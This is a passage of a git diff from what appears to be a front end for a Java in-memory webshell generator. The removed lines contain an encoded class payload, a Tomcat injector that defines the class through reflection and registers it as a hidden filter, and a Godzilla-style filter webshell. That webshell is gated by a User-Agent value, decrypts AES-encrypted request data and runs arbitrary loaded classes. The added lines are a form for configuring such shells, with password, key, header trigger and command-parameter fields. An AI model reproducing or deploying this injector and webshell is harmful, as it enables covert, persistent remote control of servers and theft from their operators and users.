"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"; - } - - static byte[] decodeBase64(String base64Str) throws Exception { - try { - Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception var4) { - Class decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null); - return (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream gzipInputStream = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - - int n; - while((n = gzipInputStream.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - - return out.toByteArray(); - } - - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - - for(Class clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { - try { - field = clazz.getDeclaredField(name); - break; - } - } - - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = obj instanceof Class ? (Class)obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - - while(method == null && tempClass != null) { - try { - if (paramClazz == null) { - Method[] methods = tempClass.getDeclaredMethods(); - - for(Method value : methods) { - if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { - method = value; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException var14) { - tempClass = tempClass.getSuperclass(); - } - } - - if (method == null) { - throw new NoSuchMethodException(methodName); - } else { - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke((Object)null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } - } - - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); - Object context = null; - - try { - for(Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap)this.getFieldValue(this.getFieldValue(this.getFieldValue(thread, "target"), "this$0"), "children"); - - for(Object key : childrenMap.keySet()) { - HashMap children = (HashMap)this.getFieldValue(childrenMap.get(key), "children"); - - for(Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = this.getFieldValue(this.getFieldValue(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - - return contexts; - } catch (Exception e) { - throw new RuntimeException(e); - } - } - - private Object getFilter(Object context) { - Object filter = null; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } - - try { - filter = classLoader.loadClass(this.getClassName()); - } catch (Exception var9) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); - defineClass.setAccessible(true); - Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - filter = clazz.newInstance(); - } catch (Throwable e1) { - e1.printStackTrace(); - } - } - - return filter; - } - - public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { - ClassLoader catalinaLoader = this.getCatalinaLoader(); - String filterClassName = this.getClassName(); - - try { - if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { - return; - } - } catch (Exception var15) { - } - - Object filterDef; - Object filterMap; - try { - filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); - } catch (Exception var14) { - try { - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); - } catch (Exception var13) { - filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); - filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); - } - } - - try { - invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); - invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); - invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); - - Constructor[] constructors; - try { - invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - } catch (Exception var11) { - invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors(); - } - - try { - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } catch (Exception var10) { - invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); - } - - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map)this.getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterClassName, filterConfig); - } catch (Exception e) { - e.printStackTrace(); - } - - } - - public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Thread[] threads = (Thread[])invokeMethod(Thread.class, "getThreads"); - ClassLoader catalinaLoader = null; - - for(Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - catalinaLoader = thread.getContextClassLoader(); - break; - } - } - - return catalinaLoader; - } - - static { - new SignatureUtils(); - } -} -`; - -const shellClass = `// -// (powered by FernFlower decompiler) -// - -package org.apache.NpAUp; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.Filter; -import javax.servlet.FilterChain; -import javax.servlet.FilterConfig; -import javax.servlet.ServletException; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; - -public class ErrorHandler extends ClassLoader implements Filter { - public String key = "3c6e0b8a9c15224a"; - public String pass = "pass"; - public String md5 = "11CD6A87589841636C37AC826A2A04BC"; - public String headerName = "User-Agent"; - public String headerValue = "test123"; - - public ErrorHandler() { - } - - public ErrorHandler(ClassLoader var1) { - super(var1); - } - - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(this.key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var41) { - return null; - } - } - - public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest)servletRequest; - HttpServletResponse response = (HttpServletResponse)servletResponse; - - try { - if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(this.pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute("payload", (new ErrorHandler(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - - Object f; - try { - f = ((Class)session.getAttribute("payload")).newInstance(); - } catch (IllegalAccessException | InstantiationException e) { - throw new RuntimeException(e); - } - - f.equals(arrOut); - f.equals(request); - response.getWriter().write(this.md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(this.md5.substring(16)); - } - } else { - chain.doFilter(servletRequest, servletResponse); - } - } catch (Exception var12) { - chain.doFilter(servletRequest, servletResponse); - } - - } - - public void init(FilterConfig filterConfig) throws ServletException { - } - - public void destroy() { - } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); - value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); - value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } -} -`; diff --git a/web/src/components/theme-provider.tsx b/web/src/components/theme-provider.tsx index 4ddf6079..7f038361 100644 --- a/web/src/components/theme-provider.tsx +++ b/web/src/components/theme-provider.tsx @@ -26,9 +26,7 @@ export function ThemeProvider({ storageKey = "vite-ui-theme", ...props }: ThemeProviderProps) { - const [theme, setTheme] = useState( - () => (localStorage.getItem(storageKey) as Theme) || defaultTheme, - ); + const [theme, setTheme] = useState(() => (localStorage.getItem(storageKey) as Theme) || defaultTheme); useEffect(() => { const root = window.document.documentElement; @@ -37,9 +35,7 @@ export function ThemeProvider({ root.removeAttribute(mode); if (theme === "system") { - const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches - ? "dark" - : "light"; + const systemTheme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; root.classList.add(systemTheme); root.setAttribute(mode, systemTheme); diff --git a/web/src/components/tips/jre-tip.tsx b/web/src/components/tips/jre-tip.tsx new file mode 100644 index 00000000..fedd5cad --- /dev/null +++ b/web/src/components/tips/jre-tip.tsx @@ -0,0 +1,18 @@ +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx"; +import { InfoIcon } from "lucide-react"; + +export function JRETip() { + return ( + + + + + + +

目标 JRE 版本,一般而言为了最大的兼容性,默认 Java 6 即可。

+

特定情况下,例如 JDK8 才能使用 lambda 表达式,JDK9 以上存在模块限制时才需要选择特定的版本。

+
+
+
+ ); +} diff --git a/web/src/components/tips/url-pattern-tip.tsx b/web/src/components/tips/url-pattern-tip.tsx new file mode 100644 index 00000000..93bf581a --- /dev/null +++ b/web/src/components/tips/url-pattern-tip.tsx @@ -0,0 +1,17 @@ +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from "@/components/ui/tooltip.tsx"; +import { InfoIcon } from "lucide-react"; + +export function UrlPatternTip() { + return ( + + + + + + +

当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用

+
+
+
+ ); +} diff --git a/web/src/components/ui/alert.tsx b/web/src/components/ui/alert.tsx index cd0a0627..d457ccb7 100644 --- a/web/src/components/ui/alert.tsx +++ b/web/src/components/ui/alert.tsx @@ -9,8 +9,7 @@ const alertVariants = cva( variants: { variant: { default: "bg-background text-foreground", - destructive: - "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", + destructive: "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", }, }, defaultVariants: { @@ -29,21 +28,16 @@ Alert.displayName = "Alert"; const AlertTitle = React.forwardRef>( ({ className, ...props }, ref) => ( -
+
), ); AlertTitle.displayName = "AlertTitle"; -const AlertDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)); +const AlertDescription = React.forwardRef>( + ({ className, ...props }, ref) => ( +
+ ), +); AlertDescription.displayName = "AlertDescription"; export { Alert, AlertTitle, AlertDescription }; diff --git a/web/src/components/ui/button.tsx b/web/src/components/ui/button.tsx index 5afa9c46..ef8b515f 100644 --- a/web/src/components/ui/button.tsx +++ b/web/src/components/ui/button.tsx @@ -11,8 +11,7 @@ const buttonVariants = cva( variant: { default: "bg-primary text-primary-foreground shadow hover:bg-primary/90", destructive: "bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90", - outline: - "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", + outline: "border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground", secondary: "bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80", ghost: "hover:bg-accent hover:text-accent-foreground", link: "text-primary underline-offset-4 hover:underline", @@ -40,9 +39,7 @@ export interface ButtonProps const Button = React.forwardRef( ({ className, variant, size, asChild = false, ...props }, ref) => { const Comp = asChild ? Slot : "button"; - return ( - - ); + return ; }, ); Button.displayName = "Button"; diff --git a/web/src/components/ui/card.tsx b/web/src/components/ui/card.tsx index d886b020..82099ea7 100644 --- a/web/src/components/ui/card.tsx +++ b/web/src/components/ui/card.tsx @@ -2,15 +2,9 @@ import * as React from "react"; import { cn } from "@/lib/utils"; -const Card = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), -); +const Card = React.forwardRef>(({ className, ...props }, ref) => ( +
+)); Card.displayName = "Card"; const CardHeader = React.forwardRef>( @@ -22,11 +16,7 @@ CardHeader.displayName = "CardHeader"; const CardTitle = React.forwardRef>( ({ className, ...props }, ref) => ( -
+
), ); CardTitle.displayName = "CardTitle"; @@ -39,9 +29,7 @@ const CardDescription = React.forwardRef>( - ({ className, ...props }, ref) => ( -
- ), + ({ className, ...props }, ref) =>
, ); CardContent.displayName = "CardContent"; diff --git a/web/src/components/ui/dropdown-menu.tsx b/web/src/components/ui/dropdown-menu.tsx index cf8229ac..767ced0c 100644 --- a/web/src/components/ui/dropdown-menu.tsx +++ b/web/src/components/ui/dropdown-menu.tsx @@ -152,18 +152,12 @@ const DropdownMenuSeparator = React.forwardRef< React.ElementRef, React.ComponentPropsWithoutRef >(({ className, ...props }, ref) => ( - + )); DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName; const DropdownMenuShortcut = ({ className, ...props }: React.HTMLAttributes) => { - return ( - - ); + return ; }; DropdownMenuShortcut.displayName = "DropdownMenuShortcut"; diff --git a/web/src/components/ui/form.tsx b/web/src/components/ui/form.tsx new file mode 100644 index 00000000..d2465746 --- /dev/null +++ b/web/src/components/ui/form.tsx @@ -0,0 +1,136 @@ +import * as React from "react"; +import * as LabelPrimitive from "@radix-ui/react-label"; +import { Slot } from "@radix-ui/react-slot"; +import { Controller, ControllerProps, FieldPath, FieldValues, FormProvider, useFormContext } from "react-hook-form"; + +import { cn } from "@/lib/utils"; +import { Label } from "@/components/ui/label"; + +const Form = FormProvider; + +type FormFieldContextValue< + TFieldValues extends FieldValues = FieldValues, + TName extends FieldPath = FieldPath, +> = { + name: TName; +}; + +const FormFieldContext = React.createContext({} as FormFieldContextValue); + +const FormField = < + TFieldValues extends FieldValues = FieldValues, + TName extends FieldPath = FieldPath, +>({ + ...props +}: ControllerProps) => { + return ( + + + + ); +}; + +const useFormField = () => { + const fieldContext = React.useContext(FormFieldContext); + const itemContext = React.useContext(FormItemContext); + const { getFieldState, formState } = useFormContext(); + + const fieldState = getFieldState(fieldContext.name, formState); + + if (!fieldContext) { + throw new Error("useFormField should be used within "); + } + + const { id } = itemContext; + + return { + id, + name: fieldContext.name, + formItemId: `${id}-form-item`, + formDescriptionId: `${id}-form-item-description`, + formMessageId: `${id}-form-item-message`, + ...fieldState, + }; +}; + +type FormItemContextValue = { + id: string; +}; + +const FormItemContext = React.createContext({} as FormItemContextValue); + +const FormItem = React.forwardRef>( + ({ className, ...props }, ref) => { + const id = React.useId(); + + return ( + +
+ + ); + }, +); +FormItem.displayName = "FormItem"; + +const FormLabel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => { + const { error, formItemId } = useFormField(); + + return
- - - 服务不可用! - 未检测到可用后端服务,生成功能暂不可用. - -
); diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index b673bda9..7cb0e50f 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -1,30 +1,134 @@ import { MainConfigCard } from "@/components/main-config-card.tsx"; import { PackageConfigCard } from "@/components/package-config-card.tsx"; -import { ShellConfigCard } from "@/components/shell-config-card.tsx"; import { ShellResult } from "@/components/shell-result.tsx"; +import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx"; import { Button } from "@/components/ui/button"; +import { Form } from "@/components/ui/form.tsx"; +import { env } from "@/config.ts"; +import { FormSchema, formSchema } from "@/types/schema.ts"; +import { APIErrorResponse, ConfigResponseType, GenerateResponse, GenerateResult } from "@/types/shell.ts"; +import { transformToPostData } from "@/utils/transformer.ts"; +import { zodResolver } from "@hookform/resolvers/zod"; +import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; -import { WandSparklesIcon } from "lucide-react"; +import { ActivityIcon, LoaderCircle, ServerOffIcon, WandSparklesIcon } from "lucide-react"; +import { useState, useTransition } from "react"; +import { useForm } from "react-hook-form"; +import { toast } from "sonner"; export const Route = createFileRoute("/")({ - component: AboutComponent, + component: IndexComponent, }); -function AboutComponent() { +function IndexComponent() { + const { isPending, isError, data } = useQuery({ + queryKey: ["config"], + queryFn: async () => { + const response = await fetch(`${env.API_URL}/config`); + return await response.json(); + }, + }); + const form = useForm({ + resolver: zodResolver(formSchema), + defaultValues: { + server: "", + targetJdkVersion: "50", + debug: false, + bypassJavaModule: false, + shellClassName: "", + shellTool: "", + shellType: "", + urlPattern: "/*", + godzillaPass: "pass", + godzillaKey: "key", + godzillaHeaderName: "User-Agent", + godzillaHeaderValue: "test", + commandParamName: "cmd", + injectorClassName: "", + packingMethod: "Base64", + }, + }); + + const [packResult, setPackResult] = useState("// 等待填写参数生成中"); + const [generateResult, setGenerateResult] = useState(); + const [packMethod, setPackMethod] = useState(""); + const [isActionPending, startTransition] = useTransition(); + + async function onSubmit(values: FormSchema) { + startTransition(async () => { + if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") { + toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet"); + return; + } + + const postData = transformToPostData(values); + try { + const response = await fetch(`${env.API_URL}/generate`, { + method: "POST", + headers: { + "Content-Type": "application/json", + }, + body: JSON.stringify(postData), + }); + await new Promise((resolve) => setTimeout(resolve, 500)); + if (response.ok) { + const json: GenerateResponse = await response.json(); + setPackResult(json.packResult); + setGenerateResult(json.generateResult); + setPackMethod(values.packingMethod); + toast.success("生成成功"); + } else { + const json: APIErrorResponse = await response.json(); + toast.error(`生成失败,${json.error}`); + } + } catch (err) { + const error = err as Error; + toast.error(`生成失败,${error.message}`); + } + }); + } + return ( -
-
- - - - -
-
- +
+
+ {isPending && ( + + + Pending + 正在全力搜索可用的后端服务~ + + )} + {isError && ( + + + Not Work! + 未检测到可用后端服务,生成功能暂不可用. + + )} + + {data && ( + + + It Work! + Let's start the party! 🎉 + + )}
+
+ +
+ + + +
+
+ +
+
+
); } diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts new file mode 100644 index 00000000..dcd45688 --- /dev/null +++ b/web/src/types/schema.ts @@ -0,0 +1,21 @@ +import * as z from "zod"; + +export const formSchema = z.object({ + server: z.string().min(1), + targetJdkVersion: z.optional(z.string()), + debug: z.optional(z.boolean()), + bypassJavaModule: z.optional(z.boolean()), + shellClassName: z.string().optional(), + shellTool: z.string().min(1), + shellType: z.string().min(1), + urlPattern: z.optional(z.string()), + godzillaPass: z.optional(z.string()), + godzillaKey: z.optional(z.string()), + godzillaHeaderName: z.optional(z.string()), + godzillaHeaderValue: z.optional(z.string()), + commandParamName: z.optional(z.string()), + injectorClassName: z.optional(z.string()), + packingMethod: z.string().min(1, { message: "请选择打包方式" }), +}); + +export type FormSchema = z.infer; diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts new file mode 100644 index 00000000..3a8ce992 --- /dev/null +++ b/web/src/types/shell.ts @@ -0,0 +1,73 @@ +export interface ShellConfig { + server: string; + shellTool: string; + shellType: string; + targetJreVersion?: string; + debug?: boolean; + byPassJavaModule?: boolean; + obfuscate?: boolean; +} + +export interface ShellToolConfig { + shellClassName?: string; + godzillaPass?: string; + godzillaKey?: string; + godzillaHeaderName?: string; + godzillaHeaderValue?: string; + commandParamName?: string; +} + +export interface CommandShellToolConfig { + shellClassName?: string; + paramName?: string; +} + +export interface GodzillaShellToolConfig { + shellClassName?: string; + pass?: string; + key?: string; + headerName?: string; + headerValue?: string; +} + +export interface InjectorConfig { + className?: string; + urlPattern?: string; +} + +export interface ConfigResponseType { + servers: string[]; + core: MainConfig; + packers: PackerConfig; +} + +export interface MainConfig { + [serverName: string]: { + [toolName: string]: string[]; 